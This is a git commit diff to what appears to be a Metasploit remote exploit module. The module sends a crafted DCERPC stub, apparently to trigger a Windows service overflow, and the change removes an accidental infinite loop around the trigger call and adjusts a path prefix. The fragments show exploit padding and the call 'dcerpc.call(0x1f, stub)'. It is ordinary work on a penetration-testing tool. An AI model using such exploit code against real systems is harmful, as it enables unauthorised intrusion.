Remove the while(true) which snuck into this module
git-svn-id: file:///home/svn/framework3/trunk@5803 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
330bd2ef5b
commit
e9d133e9aa
|
@ -1,5 +1,5 @@
|
|||
##
|
||||
# $Id:$
|
||||
# $Id$
|
||||
##
|
||||
|
||||
##
|
||||
|
@ -218,7 +218,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
pad += c
|
||||
end
|
||||
|
||||
prefix = ""
|
||||
prefix = "\\"
|
||||
server = Rex::Text.rand_text_alpha(rand(8)+1).upcase
|
||||
|
||||
jumper = Rex::Text.rand_text_alpha(70).upcase
|
||||
|
@ -272,9 +272,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
|
||||
begin
|
||||
print_status("Triggering the vulnerability...")
|
||||
while(true)
|
||||
dcerpc.call(0x1f, stub)
|
||||
end
|
||||
dcerpc.call(0x1f, stub)
|
||||
|
||||
rescue Rex::Proto::DCERPC::Exceptions::NoResponse
|
||||
rescue => e
|
||||
if e.to_s !~ /STATUS_PIPE_DISCONNECTED/
|
||||
|
|
Loading…
Reference in New Issue